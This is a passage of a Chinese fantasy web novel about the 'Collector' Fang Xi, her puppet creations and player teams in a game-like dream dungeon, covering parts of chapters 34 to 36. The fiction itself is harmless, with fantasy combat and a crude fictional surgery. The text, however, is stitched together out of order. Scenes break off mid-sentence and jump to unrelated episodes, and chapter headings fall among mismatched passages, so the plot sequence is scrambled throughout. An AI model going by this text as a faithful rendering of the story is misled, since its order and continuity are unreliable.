既能容纳这么多玩家，还能让世界遵守着特定的规则运行——只能说不愧是收藏家吗？ 虽然她的副本邀请来得突兀……但这么看来，生命危险发生的概率非常低。 普通的新晋玩家察觉不了太深次家的东西，但他们也很快意识到，至少初始地“蝴蝶小镇”很安全。 他们开始大胆地和NPC搭话，并震惊地发现这么做，似乎还能套到一点和主线任务有关的信息。 “到了。”晨乌猫猫发现方羲忽然不甩藤条了，也不和它玩，便委委屈屈地把自己塞进方羲怀里，亮出尖利的爪子，开始扒拉吸引主人注意力的讨厌玩意。 方羲：“等等……(゜ロ゜) ” 住在四脚兽饲养手册里的四只灵魂，又一次爆发出了惨烈的尖叫。 方羲艰难地扯开猫猫，发现可怜的饲养手册上，出现了几道兽类的划痕。 “刚刚是什么声音？”大号泥土人疑惑地走过来看了一眼，嘀咕道，“怎么听上去怪耳熟的……哦，是他们啊。一千零一，你习惯就好，这四个人总是大惊小怪的。” 九百号忽然想起了什么，顿了一下，但最终还是给曾经的伙伴留了几分面子——毕竟，这几个人曾经自大地给自己的小团体冠之“四大天王”的称号，其中二程度可见一斑…… 为了避免可怜的四脚兽饲养手册再遭殃，方羲冷酷无情地合上了书本。 “喵喵。” 橘色毛茸茸黏在方羲怀里，一脸无辜。 “猫啊……”九百号忽然说，“话说回来，777号的奶牛猫应该沉睡在旧世界，你要是有需要的话，可以去找找。不过那群奶牛猫……精力实在太旺盛了，一般人类招架不住的。” 九百号说完，又转头回去了工作台，继续兢兢业业地为方羲书写平替版治疗配方。 方羲放下黏人的猫猫，走到苹果树旁边，这里地上放着几十个满满的手提篮、水桶、木箱子等一切可以装苹果的容器——全是黑森林守卫艾伦的杰作，他似乎在闲暇之余，替方羲摘完了苹果。 说起来……前段时间乘务员送过来的大包裹，除了陨石之外，好像还有一桶诡异的糖浆。 而且也的确好久没金币入账了……方羲打开游戏面板，看了看自己的店铺信用分，沉默。 这么想着，方羲立刻在游戏商店买了一个森林风格的户外厨房，然后把装着苹果的容器搬了一部分到厨房边上，并让春醒帮她把那桶闲置许久的糖浆也搬过来。 春醒：（怀疑的目光） 春醒：“你又想干嘛？” 方羲微微一笑，循循善诱地说：“你想，上次咱们买的苹果不是当天就售空了吗？这次只要我们简单改造一下，换个形式，把售价翻个倍，肯定有不少顾客像上次那样赶着上来购买！” 春醒恍然大悟：“原来是这样！那我也来帮忙，要怎么做？” 飘在半空、左飞飞右飞飞的一千零二见此，忍不住发出了仅仅一个字，却能涵盖一切感情的声音：“啊？” 方羲先是取出了二十个红彤彤的大苹果，每个清洗干净，然后在中间插入竹签。 再打开装着诡异糖浆的木桶，撒进一堆星星的肋骨碎片、上弦月的邪恶祝福魔药、眼镜蛇的毒液、一根没有被点燃的火柴、来自收藏家的200ml血液…… 丢完材料之后，方羲开始沉迷搅拌、搅拌…… 【来自乘务员赠送的糖浆】 【这是一桶难以言喻的过期糖浆，现在它变成了更加难以言喻的收藏家号糖浆。不建议正常味觉的人类食用，但你非要尝尝的话，也没人会拦住你这个蠢货。反正它除了难吃之外（能让你整整一个月回味的那种难吃），似乎也没有其他的副作用。】 搅拌了整整三十三圈之后，方羲为苹果逐个裹上晶莹剔透的糖浆，再放回案板上，冷却静止。 “要尝尝吗？”方羲等了一会，就迫不及待地拿起一根苹果糖，在春醒和一千零二面前晃了晃，企图勾起她们的食欲。 但方羲很快得到了两个果断拒绝的回答，脸上非常失望，只好拿着这根苹果糖，跑出去寻找新的受害者——九百号、三只猫猫和艾莉克萨。 过一会儿，收到三连拒绝的方羲，异常伤心地回到厨房，愤愤然地打开游戏面板，批量购置了一堆颜色漂亮的玻璃糖纸和一次性罐子，将这二十个苹果分别包装好，然后让春醒用藤蔓帮她放到花园小亭的桌子上。 经过方羲精心地摆盘，美丽的花海背景，欧律狄刻完美得无可挑剔的拍摄角度，一套每个细节都写着“快来买我”的苹果宣传图诞生了！ 时隔十天，方羲终于久违地打开了商铺管理后台，上传图片，然后对着文案填写处苦苦思索了半小时。 她忽然灵光一闪，激动地敲下一段世界上最深入人心的文案。 而在2515年11月4日10点34分，无数上网冲浪、将小卖部添加进特别关心的玩家，突然发现自己的游戏面板，弹出了一条来自收藏家发布的新消息。 他们一脸震惊！立刻点击进入！满脑子都是抢到前排留言的激昂斗志！ 而发布广告的主人，脸色怪异地看了看评论区，震惊地发现全是“我是第一！”“滚啊我才是第一”等令人忍不住发笑的内容。 唉……虽然她也很开心小卖部的关注度这么高，但怎么没人注意到她优秀的文案和即将售卖的苹果糖呢？ 方羲非常失望。 但好在两分钟后，评论区的画风终于发生了点变化，并且逐渐走向诡异、犹豫、不解。 方羲陷入了纠结。 而听到方羲动静的四人，特别徐万念和秦淮月，都感到了一丝诡异，甚至有点压力山大。 收藏家为什么站在门口一动不动？ 她是在梦游吗？ 两分钟后，方羲礼貌地敲了敲右边那扇门。 秦淮月满脸疑惑地开了门。 方羲说：“哦，不好意思，找错人了。” 方羲又礼貌地敲了敲另一扇门。 徐万念也开了门。 方羲直入正题：“一夕，你多高？” “……”徐万念忍不住看了看旁边高大的秦淮月，不情不愿地回答，“一米六。” 方羲：“哦，我知道了，你们继续睡吧。” 得到答案之后，方羲扭头就走，只留下两名猎人站在原地面面相窥。 过了一会，另外两扇门也悄悄拉开了一道门缝，暗中观察深夜半夜不睡觉的收藏家，究竟是在干什么。 塑形。 把形状不规则的武器胚胎拉长、切割，做出未经打磨的剑刃和剑鞘，泼洒青色的风暴水，点缀一根剪成粉末的鸦羽，再加入手掌心被刺穿、疯狂喷涌的血液…… 【这是一间医院。 一间由异端创造、监管的医院。 异端是无所不能的院长，技艺高超的医生，细致入微的护士，朴实无华的清洁工…… 异端是世界的主人，医院的掌管者。 它们认真又善良，拯救每一个深受病魔、深感痛苦的人类。 “你是我们的拯救者。”病人的眼底充满着痴迷，狂热。 “是的。”医生露出一个弧度弯到眼角的微笑，举起手术刀。 “你们是我的食物。”】 第 34 章 第 34 章 宋白玉和唐灼很快到达。 由于过渡带的特殊性，对系统传送产生了细微影响，他们无法直接传送到方羲所在的圆台，而是遥遥地隔着几条支管。 “那是收藏家？”唐灼看见了一个身披斗篷，带着兜帽，看不清侧脸的身影。 她正拿着一只藤条，无聊地逗着小橘猫。 两名密匙玩家相互对视了一眼，都在对方的眼睛里看见惊喜之意。 他们很久、或者说几乎没有机会和傀儡师合作过了。因为现役的密匙傀儡师，只在真实异端投影到现实世界的时候才会动身。 往往，他们这么一去，就会葬身于异端的腹部。 但眼下，四周这些真实副本，无论哪一个，都在宋白玉和唐灼的能力范围之内，想必此行也不会遇到什么危险。 因为很早就被手握大权的管理者们点名、亲自培养过，很多时候比起“猎人”“战场兵器”的身份，祝翎在举手投足之间，那种上位者的气质反而体现得更浓烈。 谦逊，却又很傲慢。方羲目光呆滞。 方羲站在招募公告栏前，宛如在风中凌乱，似乎想不通自己时隔几个月，为什么又重回了打工人之路。 “嘎？” 大白鸦落到公告栏上，歪歪脑袋，黑亮的眼珠子看着方羲。 方羲也看了看大白鸦，忽然感觉自己好像忘记了什么重要的事情。 初始资金……主线任务……核心材料……小队…… 方羲：“！”和她奉行极简主义的笔记相比，九百号写的这份，几乎每一个细节都想到了。从头到尾，不仅在兼顾普通人类天赋的情况下，甚至还列出好几种可能发生的错误案例，还有后续的解决方案。 而且字体也相当流畅优雅，和方羲鬼画符的相比……两者风格堪称天壤之别。 方羲不敢置信地看向九百号，喃喃道：“你居然是个学霸！为什么我压根没看出来！？” 九百号：“……” 九百号勃然大怒，在草地上原地疯狂蹦跳，尖叫道：“一千零一，你这充满怀疑的眼神，究竟是什么意思？！你是不是不记得我的自我介绍了？我可是记忆力最强大、知识最渊博的900！没人比我更聪明！！！” “好吧，智慧的九百号。” “一千零一，为什么你的脸上依然写着怀疑两个字？” 方羲蹲下身，把泥土小人放到猫猫头顶，盯着他，认真地说，“不管怎么样，谢谢你的帮忙，我实在不太擅长普通的【人类语言】” 九百号抱怨的声音霎时间消失，勉为其难地接受了方羲的道谢，抬手扶了扶自己根本不存在的眼镜，在猫猫头顶懒散地躺下，感受毛茸茸的柔软触感。 “不对！原来你知道啊！”九百号又猛地爬起来，看着这只金色的灵魂，“说起来，要不是你家这里还有几只人偶愿意听我讲话，我这段时间简直要憋死了！就算我拼命朝你招手，故意吐槽你，但你根本不爱搭理我！还无视我！” 九百号越说越气。 方羲仔细回忆了一番，震惊地问：“你不是喜欢待在玻璃瓶里吗？我好像也没怎么见到你跑出来溜达。” 九百号呵呵一笑，懒得再解释这段时间他是如何上蹦下跳，用何等可笑的动作，努力让走来走去的某人注意到自己。 “明明有我这么一个同类在附近，但你……就好像习惯了一个人的样子，老是喜欢自说自话。”九百号的语气逐渐转向无奈，想问点什么，但又用灵感看了看飘在半空的一千零二。 然后他心想，算了。 说到底，他只不过是早已逝去的生命，本该被撕裂为三千碎片的灵魂。 不过，九百号虽然活泼好动，但也不是个热脸贴冷屁股的性格。按理来说，遭遇方羲这种时常忽略人的冷酷行为，早就转头找其他同为聊天爱好者的人玩去了。 但，经过这段时间的暗中观察，九百号隐约从一千零一身上，窥见几分不对劲。 她的字很“丑”——确切的说，不太像人类，更像异端学习人类的感觉，特别怪异。 她说话的强调也很“奇怪”——明明天生是疏远人群的性格，但一个人的时候，却反而爱自言自语，像是特地强调给自己听。 是因为，身边没有同为人类的参照物，才形成这种似人非人的习惯吗？ 真了不起啊，一千零一。 难怪你的灵魂那么耀眼。 在绝对压制的环境之下，人类是很难萌生“自我”的，也很难思考些什么深沉远大的命题。 尤其是……如果你的身边，的确只有一个人的话。 其实，九百号一开始还挺喜欢和方羲说话的，他觉得这人特别有意思。 直到今天，方羲又研究出根本无法称之为食物的黑暗料理，并一脸期待地看着自己，希望他能够认真品鉴——九百号彻底对方羲敬而远之。 方羲直接扭头，决定先寻找不知道被投放到哪里去的队友。 但方羲没走多久，很快在人群中发现了踏樱和一夕的身影，她们似乎在左顾右盼，也在寻找着什么——直到看见方羲的出现，眼睛顿时一亮，立刻急匆匆地跑过来。 踏樱：“白鸦，你去哪了？” 一夕：“一小时。”副本开始了足足一个小时，我们现在才汇合！ 方羲语气飘忽地说：“找工作。” “什么？” 方羲顿了一下，目光缓缓地落在二人身上，期待地问：“你们有初始资金吗？” 二人面面相觑。 踏樱说：“我只有二十万。” 一夕有八万铜币。 方羲厚脸皮地伸出双手，问：“我能不能借个一百块。” “？”踏樱一愣，灵光一闪，仿佛猜到了什么真相，震惊地问，“白鸦……你不会连一个初始铜币也没有吧？” 方羲拒绝回答这个问题，又期待地重复了一遍：“一百个铜币。” 于是踏樱从口袋里摸出了一个银币，递给身无分文的队长。 方羲大受震撼，没想到踏樱口中的“二十万”，是指二十万银币。 方羲珍惜地摸了摸银币。 方羲走进杂货铺。 方羲购买了六块巧克力圆面包，并获得八百八十个铜币的找零（已私吞）。 二人眼神诡异地看着方羲从购买面包，到找了张路椅，然后慢吞吞啃完六块面包，堪称悠闲无比的全过程。 虽然方羲没能找到工作，但她的队友有钱。于是方羲花了私吞下来的五百个铜币，解锁了“蝴蝶小镇”的大地图。 除了四周零零碎碎的杂货铺、肉食店、蔬菜店、小酒馆、铁匠铺。还有一些被自动标注了星号的重要地点，例如精灵魔法药剂店、蔷薇酒馆、蝴蝶庄园、伊甸园公会等。 方羲往大街上看了一眼，这里活动的玩家逐渐转少，剩下来的全是新晋玩家。 或许是因为真实级以上的玩家，初始数值更高一些，被自动投放到信息度更丰富的地带，而不是像他们这样待在平民区。（方羲的初始地被称为无人区） 方羲把踏樱一夕加为了造梦好友，并试图创建队伍。 总是善于隐晦地牵引与操控人心。 杀戮的气息没那么重，常常让许多新晋玩家忘了她也是一名猎人，只觉得自己在面对一名脾气还算好的“上司”。 只有在她速度更快、总是先于其他猎人斩落袭击之时，才让队友惊觉——差点忘了！这可是新晋排名前十之一的猎人！根本不是某些没脑子也没身手、只空有一身权力的一等公民！ 所以很多新晋玩家都不抗拒和祝翎合作，她虽然傲慢，只会对强者发自内心的敬佩（比如收藏家）。但做人却很体面，也从不会轻视队友的生命。 “哦……” 春醒思考了两秒，一束藤蔓颜色的头发，忽然伸向旁边发着光的铃兰花，认真地摘下二十五朵。 “送给你们。”春醒说，“借着这盏灯的光原路返回吧。” 所有人面露惊喜。 这、这可是收藏家的傀儡，她居然送我们礼物！ 回去一定要好好炫耀一番！ “还有！”春醒忽然想到什么，从巨叶子上站起来，叉着腰，一字一顿地说，“不许再偷我的花！再有第二次，我就吃掉你们！” 春醒威胁的语气并不凶，反而显得有点可可爱爱的，听上去没什么说服力。 所以很多新晋玩家还沉浸在被赠送铃兰花灯的喜悦中，没注意到春醒后面的话。 但梨花雪心底却闪过一丝身为人类、本能的惊惧。 她抬起头，再次痴迷地，注视那双美丽的精灵之眼。 小小的人偶，身后却游弋着无数条巨大、扭曲的藤蔓，张牙舞爪地挥动，好像每一分每一秒都在预备着“捕猎”。 在丛林中变幻出的晶钩蛾，还在疯狂地啃食，那阵令人心惊的声音还没有融化在深夜中。 春醒并不是在说客套的假话，或者像人类一样开友善的玩笑。 偷、花、不、可、饶、恕。 她是发自内心地这么觉得。 “对不起。”梨花雪又道了第二次歉，这次的表情和声音都特别严肃，还引来了其他队友疑惑的目光，“偷花的事情，不会再发生第二次。” “这还差不多。”春醒大概是看出了梨花雪眼底的惊疑，认真解释道，“养一朵小花很不容易的，需要阳光、水和食物。” “阳光不是每天都有。” “食物也不是每次都能打得过。” “水得分给主人喝，不然她会渴死。” 梨花雪感觉春醒的回答很奇怪，脸上的疑惑更深了。 但春醒没有再跟梨花雪说话，而是催促这群人类赶紧离开她新霸占的地盘！ 好巧不巧的是，等这支由梨花雪带领的队伍，终于离开之后。春醒正打算继续美美享用自己的晚餐，却忽然听见远处传来了一道有气无力的喊声。 “藤蔓——讨厌的藤蔓——” “你在哪里——快点出来——■■喊你回去——” 春醒听见这个声音，顿时深深地皱起眉头。 她“瞥”了一眼远处，发现有一颗眼珠子在黑暗中慢悠悠地飘着。 明明眼珠子知道某只藤蔓就在附近，但愣是只在四周没头没尾地转了好几圈，故意不往深处飞。 一千零二自言自语道：“唉！怎么这里也没有呢？找了半天也找不到，只能回去告诉■■，她的藤蔓在外面的世界玩得乐不思蜀，早就把我们忘光光了！” 春醒：“……” 春醒幽幽地伸出藤蔓，逮住这个储物单位：“我在这里，你瞎了吗？” 一千零二顿时大惊失色！哇哇乱叫！ “你回答我干什么！”一千零二愤怒地骂道，“你根本不知道，你不在的日子里，我过得多么舒坦！你好好一藤蔓待在外面逍遥自在不好吗？根本没必要回来啊！” “主人找我吗？”春醒无视掉一千零二的胡言乱语，看了看巨湖里那只水怪，有点意犹未尽地说，“那等我吃完它再走。” 一千零二灵活地挣脱藤蔓的束缚，好奇飞过去看了一眼，然后又光速飞了回来，一言难尽地说：“你的口味真烂啊！这种玩意也下得了口！你还是我心目中的那只善良可爱的藤蔓吗？” 春醒撇撇嘴说：“这有什么？我本来就是一只肉食性藤蔓。” “那些家伙肯定都被你乖巧的表面蒙骗了。”一千零二看了一眼走远的人类小队，反驳道，“什么肉食性藤蔓？你根本就是一只食人藤！” 春醒朝一千零二做了个鬼脸。 一千零二顿时被气得疯狂大叫，还嚷嚷着要跟方羲告状！ “虽然那也是我的食谱，但我可没吃过人类。”春醒理所当然地说，“再说了，你告状也是没用的！因为主人最爱我！根本不会相信你的话！” “不可能！”一千零二勃然大怒，“我可是上帝之左眼！我就是她，她就是我！我才是她最信任的造物！你算个什么东西？！小饼干吗？！” 春醒：“……” 春醒十分无语，不想跟幼稚鬼吵架。 十分钟后，搭配着一千零二骂骂咧咧的背景音，春醒终于把水怪吃完了。 “我吃饱了。”春醒收回晶钩蛾群，“我们回去找主人吧。” “好……不对！不行！”一千零二忽然想起了什么，心底骤然一惊，从无穷宇宙拿出一张带着方羲字迹的小便条，瞪大眼睛看了好一会。 医生微笑道：“周小姐，宋小白，唐小火。你们三个为什么不好好躺在病床上，怎么老想着跑出去？” 宋白玉干笑两声，正想说点什么，才能不留痕迹盖过他们错误的开局活动，好消除异端的怀疑。 但他们却在此刻听见了眼睛的命令。 “瞄准工作牌，开枪。” “砰——” 子弹穿过工作牌，锁链把异端切得四分五裂。 挂着温和微笑的医生，举着注射管的护士，竟然在仅仅一段攻击之下，就彻底死亡。 宋白玉一脸震惊地看向方羲，唐灼也神色微动。 “吵死了。” “我们唯一的目标只有找到异端深处的根系。不用担心，以你们的实力，完全可以让它当场毙命。” 方羲垂下眼帘，看着地面蠕动的肉块，语气轻慢，“顺从它们做什么？没必要在乎异端发出的噪音。” 第 35 章 第 35 章 两名猎人同时静默了几秒。 因为方羲随意吐出的几句话，语气带着理所当然，仿佛这是一件信手掂来的事情。 最先涌上心头的是难以置信，世界观被冲击之后依然顽固不化。 蝼蚁怎么能撼动邪神呢？ 是的，在理论上来说，异端的确存在一个致命的弱点，只要杀死它们的根系，一切就迎刃而解。 但这只是听上去很简单。 密匙玩家都想把最强悍的一击、最坚不可摧的力量斩向异端的根系。但问题是，找到根系之前，异端总有无穷无尽的手段绞杀他们。 而浇得多和浇得少，也能碰撞出完全迴异的火花，就像分身无数的夏青禾和一即整体的群鸟傀儡…… 傀儡师们以为自己终于找到那么一点模仿学习的可能性、正在为这种惊天大发现尖叫呐喊的时候——旁边却响起一道极其不怀好意的声音。 “不好意思，傀儡师们，忘记提醒你们了。”那名猎人如是说道，“在恶魔战场的时候，收藏家曾经亲口告诉过我们——春醒才是她的第一只造物。” 傀儡师们：“……” 无数傀儡师这一刻愤怒地挥出拳头：“你为什么不早说！！！” 最后，他们还是什么也没研究出来。 梨花雪心想，或许因为收藏家本身就是一个不解之谜。 “我记得你，主人亲手招待过的客人。” 春醒认出了梨花雪，但她现在没有寒暄的闲情雅致，而是认真重复了一遍：“快把郁金香还给我！” “……”梨花雪看向队友，温温柔柔的声音难得露出一丝严厉，“你们谁刚刚摘过花？” 所有人面面相觑，却没有一个人站出来承认。 事实上，谁敢在未经眼睛的允许下，在冒险过程中触碰任何一个可能成为危险的“机关”呢？ “偷花的不是人类。”春醒想了想，纠正了一下自己的用词，然后目光幽幽地盯着梨花雪，“是你的傀儡！你快点检查一下你的箱子，看看是谁偷走了我的郁金香！今晚查不出来的话……所有人都不许走！” 梨花雪呆了一下。方羲：大脑加载中.jpg “嘎？” 头顶有一只大白鸦在飞。 方羲终于从绝望中回过神，这次她把所有造物都带了进来。但为了不让其他玩家怀疑自己的身份，造物们在副本前期不会刻意跟着自己，主打一个自由活动。 而六百只微型傀儡，则作为保护玩家的信使。 所以头顶跟着一只大白鸦，应该不会惹人生疑。方羲自信地想。 先去小镇上看看好了。 说不定其他玩家也像自己一样，开局什么都没有，只能一切从零开始。方羲暗暗猜测，心底莫名其妙多了一丝安慰。 走出废墟。 走上小镇大街。 看见一群新晋玩家一团一团地聚在一起，满脸激动，叽叽呱呱地聊天。 方羲立刻躲在角落，认真偷听！ “你的初始资金有多少？” “五万零三千！对了，我还有一套房，说不定可以去把它卖掉换流动资金！” 方羲：（忍不住摸了摸自己空空的口袋） “初始职业还怪有趣的……我是佣兵，你们呢？” “魔法学徒。” “呃……小偷？这说明我动作比较快吗？” “你们看，我居然是勇者！！！” 方羲：（怀疑人生） “我看看任务面板！有了！我们小队要收集的核心材料……好像是二十四片味道不同的巧克力树叶？这是啥？好吃吗？” “接收异端噪音的收音机？” “我们的是……正好是一千万声噪音！我们两个队一起顺路做任务怎么样？” 方羲闻言，也好奇地打开了自己的任务面板。 她只好召唤出自己的百宝箱，放在大腿上，打开，观察微缩世界里所有的傀儡，看看究竟是谁拿走了春醒的郁金香。 然后。 绅士优雅的兔子先生，捧着一把粉红色的郁金香，低声下气地哄自己爱人的场面，就这么在梨花雪眼皮子底下上演了。 有那么一瞬间，梨花雪有点分不清究竟是被摘走郁金香的春醒惨，还是为了爱丽丝而偷花的兔子先生更可怜。 梨花雪伸手把兔子先生手里的郁金香取了出来，并严肃警告他以后不能偷春醒的花，想要花应该自己去赚钱买，最后小心翼翼地跟春醒道了个歉。 春醒顺利拿回了自己的花，心情终于好了一点，于是大发慈悲地说：“你们可以走了。” 财务野薄荷愣了愣，迟疑地问：“就这？我们不用给你交钱吗？” 春醒：“……什么？” 场面再次陷入了一种很尴尬的沉默。 野薄荷不灵光的脑袋终于回过神来，干笑了两声：“没事！我什么都没说！” 他暗暗心想自己真是疯了，居然还没从黑心狐狸的阴影中走出来。 不过，眼前这只……外形长得好像人偶娃娃的傀儡，和那只狐狸对比起来，性格简直不要好太多了！ 野薄荷暗暗松了口气，太好了，这次不用交罚金。 “呜——”即使是身经百战的总队长，瞳孔也在此时惊惧得微微缩小。 就仿佛，真的有一名先行者残留的灵魂，在她耳边呢喃、呐喊，发出临死前不甘的怒吼。 总队长竭力维持着冷静，用带着黑色手套的右手，谨慎地摸了摸刻字的边缘。 诡异的红光骤然大盛。 冷冰冰的淡蓝色墙壁，在一刻骤然发红、变深，显露出更多触目惊心的文字。 总队长的手一时间有些发抖，不可置信地转过头，发现四面八方的墙，全部被刻上了同一句话。 明明四周空无一人，他们却在这短暂的一刻，好像真的看到了一群狂信徒，一群疯子，簇拥在一起，神情痴迷、狂热，挥舞着拳头，大声呐喊着存在了上百年的口号！ ——一切都是为了444号先行者的夙愿！ 同一句话，不同的字迹，出自每一名研究员、每一个实验品、每一个历代换任的基地管理者。 这些信徒……全是444号先行者缔造出来的，没有思想的产物。 但很快，这片诡异的红光，又骤然恢复寂静，建筑空间变回原来空荡荡的蓝色，只留下刻满四面墙壁的文字。 所有士兵依然举着机关枪，神情隐隐带着几分惊惧，但没有丝毫放松警惕。 过了一会，在总队长的命令之下，他们又一次开展细致的调查，但最终发现，刚刚似乎只是意外触发了一个“特效”，建筑大楼并没有留下任何可疑的陷阱。 “总队长？接下来该怎么办？” “啊……这可麻烦了。”总队长苦笑着，喃喃自语道，“我还以为，只是一起人体非法改造的案件而已……” 她的光脑还没有中断通讯，对面的楚嘉薇听见声音，立刻询问在刚刚寂静的时间，发什么了事情。 “楚长官。”这名总队长看着墙壁上骇人的文字，努力组织着措辞，“我看，你们还是和收藏家联系一下吧。这个南十字架，不仅仅是人体实验那么简单……它很有可能，出自444号先行者之手。” 对面沉默了很久很久，似乎在阅读总队长实时转发过去的“墙壁线索”。 总队长隐约听见了楚嘉薇不稳的呼吸声。 “我知道了。”楚嘉薇说，“你们暂且按正常流程，继续在原地调查吧。” 通讯中断。 “说起来。”旁边的副队长，忽然冷不丁地说，“在帝国机密资料库里，444号先行者，在一千年前，的确是一个不受帝国公民待见的疯子。” “你确定吗？但哪怕是帝国中央主脑记载的资料，也不一定是真相。” 总队长继续摩挲着墙壁上的文字，眼神有些晦暗：“绝大部分关于先行者的信息资料，根本没有储存在帝国中央主脑里，而是封锁在了失乐园内部。就连黑天鹅历任明明已经手握最高权限的几位管理者，也无法破解查看。” “先行者对于我们来说，已经逐渐成为一个遥远的概念。”总队长轻轻叹了口气，“他们是一群突破极限的人类，但具体究竟是什么样的人……谁知道呢？” 首领狼忽然放开嗓子，对着天边长啸一声。 梨花雪抬眼看过去。 一只巨大的水蛇从湖里冒出脑袋，吐出鲜红色的信子，突出的眼球死死地盯着进犯领地的猎物。 两名猎人迅速跟上。 “用你的锁链，禁锢他的四肢。” 方羲双手合十，心虚地对这个不知名的玩家说：“没有止痛剂，你凑合忍忍。我也是第一次在人身上划刀，相互体谅一下。” 唐灼&宋白玉：“……⊙_⊙” 陈妙生：“……(゜ロ゜) ” 人偶师收起不正经的神色，举起一把反射着危险银光的手术刀。 又一只属于异端的手臂被割落在地。 【收藏家的手术刀】 【这是某人从垃圾堆辛辛苦苦挖出来的宝藏之一。搭配剪刀、万能绷带等同类，相当敷衍粗糙地开启了一场手术。你说成功率？请不要小瞧了某人的创造力。】 【不就是几块试图寄生在人类身上的异端吗？】 第 36 章 第 36 章 陈妙生身上还多出两个头颅，一对手臂。 他被唐灼的锁链死死地固定在病床上。 在三名玩家的众目睽睽之下，人类与异端的分界线显得格外清晰。 异端的双手在奋力挣扎着，反复扯断坚不可摧的锁链。 而属于人类的双手，只有在手术刀落下之时，才会产生些微的颤抖。 纯白的病床被鲜血刷红，粗壮的手臂滚落到垃圾堆最底下。 方羲漫不经心地割掉多余的碎肉，幸好异端的手长在背部，还算在可接受范围之内，没有和原先的人类手臂硬生生挤在一团。 梨花雪沉默了。 其他队友听到野薄荷的话，也都沉默了。 氛围陷入一种相当尴尬的死寂。 说实话，他们进来副本之前，考虑过可能会发生性命危险、与队友走散、武器和傀儡损坏等种种绝望的情况。 但唯独没想到，会遇上一只黑心狐狸，把他们所有的初始积蓄抢走！就连他们身上的高级装备也不放过！！！ 放在以前，他们根本不会这么在乎钱财这种东西，因为在副本里有比“缺钱”更恐怖的危险！ 但偏偏，收藏家反其道而行之，在她的造梦世界里，钱是最重要的硬通货！没有钱是万万不能的！食物、喝水、日用品、升级装备、队友的零食费、队友的酒水费、旅馆费、服务小费、重要场所的通行费……怎么什么都要钱？ 初次上任的财政大臣野薄荷，在第一天就满脸忧愁地算了算，看着那一串长长的消费记录，心底隐隐有一种不详的预感。但幸好他们队伍人多，银币总量也多，短时间内应该不用担心。 结果，在进入副本的第三天，他们队伍就发生了破产意外。 野薄荷想起当时那段漂浮在天空的副本邀请，很难不怀疑这一切都是来自收藏家的诡计。 “没关系。”梨花雪努力安慰这些忠诚的队友，“就按野薄荷说的，今晚暂时在低级旅馆过一夜吧，明天再想办法。” 有了队长的安慰，其他人郁郁不乐的心情顿时又精神起来。 沙沙。收藏家消失了。 突兀地出现，又匆匆忙忙地离开。 “江队。”秦淮月扶起江同尘，“我带你去休息。” “……”杀死陈卧雪。 两个声音同时出现，在空气中交叠。 “砰——” 但率先响起的枪声，却来自一名凭空站在八千棋局身后的红斗篷少女。 八千棋局愣愣地低下头，发现子弹穿过了自己的肚腹，留下一个可怖的血洞。 “够了！”他的一名猎人队友，仿佛看不下去一般，高声道，“停下来！这里是副本！这里是仿真战场！谁在乎你们之间究竟有什么矛盾！” 梨花雪眨了眨眼。 红帽少女立刻补充弹药，上膛，双手举着猎枪，瞄准人类脆弱的心脏，蓄势待发。 全场瞬间陷入死一般寂静。 没人敢再说话，他们都有点怕再触怒这个情绪不稳定、随时可能杀人的傀儡师。 惊惧到，大脑甚至没来得及思考一名不过是三级的傀儡师，究竟是怎么有力量与排名第二的八千棋局发出流血的袭击。 而在他们突发争执的时候，一个巨大的十字架，也在偷偷朝着人类靠近。 脚下被凝结的血液，骤然开裂，传出婴儿尖利刺耳的哭声。 如子宫一般的血云，开始疯狂输送新的垃圾、新的废弃品，还有无数无法称之为生命的人型肉块。 梨花雪缓缓将目光落在这些新晋玩家身上，他们每一个人都在因为傀儡突袭而惊惧，武器对着首领狼，没有意识到自己究竟身处怎样的危险之境，还向她投以指责的目光。 踏樱皱了皱眉头，挡在梨花雪面前，想开口说点什么。 但向来能言善辩的她，却第一次感觉喉咙有点堵塞，因为踏樱有些看不明白这对兄妹究竟是在干什么，真实的想法甚至和刚刚说话的猎人一模一样。 在这里爆发争执，他们真的当战场是游戏吗？ 粘腻的血液，越过人的小腿，仿佛要将一切吞没。 将这些无知无觉的人类，化作最微小的一粒血液细胞。 梨花雪在这一瞬，忽然明白了收藏家的话。 ——只要她身处战场，就天然知道该怎么做。 “我在乎。” 梨花雪伸手扯了扯踏樱，让她退开，然后操控轮椅，向前移动了几步，在队伍中间的位置停下。 新晋玩家看过来的眼神，和以前嫌弃她是累赘的那些人，似乎不太一样，但依然参杂着浓烈的质疑。 “但副本……也对，副本的确很重要。”梨花雪喃喃道，脸上的微笑依然带着小心翼翼的腼腆。 梨花雪的双手，第二次凝现出百宝箱，然后当着全场玩家的面，发疯一般地把武器砸向地面。 啪地一声。 所有储存在百宝箱的傀儡，在这一瞬，被梨花雪全部“扔”了出来。 别说是身临其境的新晋玩家，就连旁观的首席玩家，也惊愕得愣在原地。 这么看着，数不清是多少只的庞大狼群，发出嘹亮悠长的嚎叫，齐齐向远处奔跑，向十字架发出袭击。 还有从未见过的，童话角色一般的爱丽丝、小美人鱼、森林女巫、奇怪的小女孩……欢声笑语地踏入危险的战场，掀起滔天巨浪。 新晋玩家们这才意识到，血河已经淹过了他们的大腿，于是立刻改变武器所指的方向。 没人知道那天的江同尘在心里究竟在想什么。 傀儡师们的想法总是难以揣测。 总之，江同尘放弃了使用“自杀”的权利，尽管她那天之后就一病不起，整个人的状态比以往更加脆弱，病怏怏的。 所有首席玩家都将归咎于收藏家的出现——或许是她的话改变了江同尘的决定，让这名摇摇欲坠的傀儡师，撑着一口气，就像是在余息断裂之前，等待着什么。 三天后。 一切安排妥当之后，所有排名三千之内的新晋玩家，还有不少真实级别以上的玩家，都在好奇地看着挂在天幕的倒计时。 “造梦场……能够容纳这么多人吗？”林镜子看了一眼底下黑压压的人群，声音有些迟疑。 “收藏家说可以。”宋白玉回忆了一下这几天方羲敷衍回复他的消息，“她还说，人越多越好……因为她缺材料。” 这时，造梦家程蔓野走了过来，她身上还被迫挂着一只呼呼大睡的人偶夏青禾。 “缺材料？”程蔓野伤心地嘀咕道，“唉……收藏家怎么不找我？” 疯苹果看了她一眼：“收藏家想要的核心材料，恐怕没那么容易收集。” “这我当然不是不知道……” 程蔓野叹了口气，帮夏青禾梳了一下她乱七八糟的头发。这段时间她总是和夏青禾一起活动，虽然在非战斗期间，少女什么忙也不帮，甚至经常没事捣乱，就像养了个患有中二病的女儿。 “收藏家也会来副本吧？”程蔓野继续问。 宋白玉迟疑了一下，才委婉暗示道：“我猜，来的是另一个。” 程蔓野面露恍然，好奇地往下看，试图从人群中找到“白乌鸦”的身影。 但没找到。 虽然看见了新晋玩家踏樱和一夕的身影，但很显然，白乌鸦并不在附近。 